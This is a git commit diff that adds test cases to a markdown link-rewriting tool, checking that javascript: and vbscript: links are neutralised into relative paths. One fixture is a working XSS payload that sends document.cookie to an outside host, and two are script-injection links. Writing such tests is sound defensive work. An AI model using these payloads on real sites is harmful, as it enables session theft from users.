aboutsummaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorache <ache@ache.one>2019-03-03 02:56:35 +0100
committerache <ache@ache.one>2019-03-03 02:56:35 +0100
commit3ea10630bd3708d36d647406d9858cbe7ceb461d (patch)
treefc2db8bc326901681f04ed7c905cfc449dbd75ab
parentInit commit (diff)
Moar testsHEADmaster
-rw-r--r--__tests__/index.js3
1 files changed, 3 insertions, 0 deletions
diff --git a/__tests__/index.js b/__tests__/index.js
index d1bb986..f6c8b9f 100644
--- a/__tests__/index.js
+++ b/__tests__/index.js
@@ -10,6 +10,9 @@ const testInfos = [
{name: 'example', base: '[link](url)', result: '[link](/url)\n'},
{name: 'local link', base: '[link](/url)', result: '[link](/url)\n'},
{name: 'auto link', base: '<http://ache>', result: '<http://ache>\n'},
+ {name: 'auto link js', base: '<javascript:alert(11);//://XSS>', result: '[javascript:alert(11);//://XSS](/javascript:alert(11);//://XSS)\n'},
+ {name: 'js XSS', base: '[lol](javascript:console.log($.post("https://12z.fr/"+document.cookie)))', result: '[lol](/javascript:console.log($.post("https://12z.fr/"+document.cookie)))\n'},
+ {name: 'vbscript XSS', base: '[lol](vbscript:msgbox("XSS"))', result: '[lol](/vbscript:msgbox("XSS"))\n'},
];
testInfos.forEach(testInfo => {